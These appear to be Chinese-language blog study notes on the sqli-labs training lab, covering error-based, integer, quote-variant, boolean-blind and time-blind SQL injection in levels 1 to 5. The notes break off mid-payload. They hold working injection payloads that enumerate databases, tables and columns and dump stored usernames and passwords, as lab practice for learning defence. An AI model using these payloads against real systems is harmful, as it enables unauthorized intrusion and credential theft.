sqli-lab学习笔记

本文是一篇关于SQL注入的学习笔记,详细记录了基础和高级挑战的各个阶段,包括GET和POST类型的单引号、双引号、整型、双注入、盲注等各种类型注入的技巧和方法,涉及报错、布尔、时间和报错盲注,以及如何绕过WAF等防护措施。通过实验学习,理解SQL注入原理并提升安全防护能力。
摘要由CSDN通过智能技术生成

目录


information_schema.schemata包含所有数据库的名

字段 含义
schema_name 数据库名

information_schema.tables包含所有库的表名

字段 含义
table_schema 数据库名
table_name 表名

information_schema.columns包含所有表的字段

字段 含义
table_schema 数据库名
table_name 表名
column_name 列名

Page-1(Basic Challenges)

Less 1 GET - Error based - Single quotes - string (基于错误的GET单引号字符型注入)

id=1显示正常,加上单引号id=1’页面报错
在这里插入图片描述
根据报错信息可以猜测输入的$id值在单引号中
查看源代码,验证猜想

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";

以下id为非正确值,使用--+截断,也可用#的url编码%23截断
payload
判断列数

?id=-1' order by 3--+

判断显示位

?id=-1' union select 1,2,3 --+

在这里插入图片描述
显示位为2和3
爆库名得库名为security

?id=-1' union select 1,2,database() --+

爆表名

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

或者

?id=-1' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=0x7365637572697479 --+

其中0x7365637572697479为库名security的16进制
得emails,referers,uagents,users四张表
爆users表字段名

?id=-1' union select 1,2,group_concat(column_name) from information_schema.columns where table_name='users' --+

或者table_name=用users的16进制代替
得如下字段

user_id
first_name
last_name
user
password
avatar
last_login
failed_login
id
username
password

我们需要获取username以及对应的password的值
爆数据 用0x3a间隔数据

?id=-1' union select 1,2,group_concat(id,0x3a,username,0x3a,password) from users --+

得到对应数据(列举五个)

id username password
1 Dumb Dumb
2 Angelina I-kill-you
3 Dummy p@ssword
4 secure crappy
5 stupid stupidity

Less-2 GET - Error based - Intiger based (基于错误的GET整型注入)

跟Less-1的payload思路一样,不过$id的值没有放在引号中

$sql="SELECT * FROM users WHERE id=$id LIMIT 0,1";

同上,payload=?id=-1

Less-3 GET - Error based - Single quotes with twist string (基于错误的GET单引号变形字符型注入)

同上,$id的值放在带括号的单引号中

$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";

同上,payload=?id=-1’)

Less-4 GET - Error based - Double Quotes - String (基于错误的GET双引号字符型注入)

同上,$id的值放在双引号中

$id = '"' . $id . '"';
    $sql="SELECT * FROM users WHERE id=($id) LIMIT 0,1";

同上,payload=?id=-1"

Less-5 GET - Double Injection - Single Quotes - String (双注入GET单引号字符型注入)

何为盲注?盲注就是在 sql 注入过程中,sql 语句执行的选择后,选择的数据不能回显到前端页面。此时,我们需要利用一些方法进行判断或者尝试,这个过程称之为盲注,盲注分为三类
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
布尔盲注常用到以下几个函数

函数 含义
left(a,b) 左侧截取 a 的前b个字符
substr(a,b,c)/mid(a,b,c) 从第 b 个字符开始 截取 a 中连续 c 个字符
ascii(a)/ord(a) 将a转化为ascii码

时间盲注除以上函数外常用到以下函数

函数 含义
if(exp,a,b) 如果exp为真,则返回 a ,否则返回 b
sleep(a) 暂停 a 秒

报错盲注常用到以下函数

函数 含义
extractvalue(a,concat(0x7e,b) 将a插入xpath格式的b中,如果b不是该格式将报错
exp(a) 返回自然对数e为底,a为幂的值,常用exp(~xxx)超出double范围报错
concat() 该函数报错时将查询的信息显示出来
floor() 取整函数
rand() 产生一个0-1之间的随机数
count(*) 返回行数
select count(*), concat((select database()), floor(rand()*2))as a from information_schema.tables group by a;

floor(rand()*2)要么为0要么为1,由concat函数连接后,返回database()0或者database()1,表中有多少数据就生成多少个该随机数值,对他们进行group by 分组,就只有database()0和database()1了,在加上count(*),就会因为键值重复而报错,database()可替换为其他查询语句

回到Less-5
布尔盲注
payload
判断数据库名长度

?id=1' and length(database())=8 --+

爆数据库名

	?id=1' and left(database(),1)='s' --+
    ?id=1' and left(database(),2)='se' --+
    ?id=1' and left(database(),3)='sec' --+
    ?id=1' and left(database(),4)='secu' --+
    ?id=1' and left(database(),5)='secur' --+
    ?id=1' and left(database(),6)='securi' --+
    ?id=1' and left(database(),7)='securit' --+
    ?id=1' and left(database(),8)='security' --+

爆表名

?id=1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1)))=101 --+

可知第一张表第一个字符为e,依次类推
爆字段名

?id=1' and (ord(mid((select column_name from information_schema.columns where table_name='users' limit 0,1),1,1)))=117 --+

可知users表中第一个字段第一个字符为u,以此类推
爆数据

 ?id=1' and (ascii(substr(( select password from users limit 0,1),1,1)))=68--+

可知password字段中第一个数据第一个字符为D,以此类推

时间盲注
时间延迟型手工注入,正确会延迟,错误没有延迟。id无所谓,又不看回显,可以通过浏览器的刷新提示观察延迟情况
payload=?id=1' and if(布尔盲注payload核心部分,sleep(5),1)--+
payload
判断数据库名长度

?id=1' and if(length(database())=8,sleep(5),1) --+

爆数据库名

	?id=1' and if(left(database(),1)='s
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值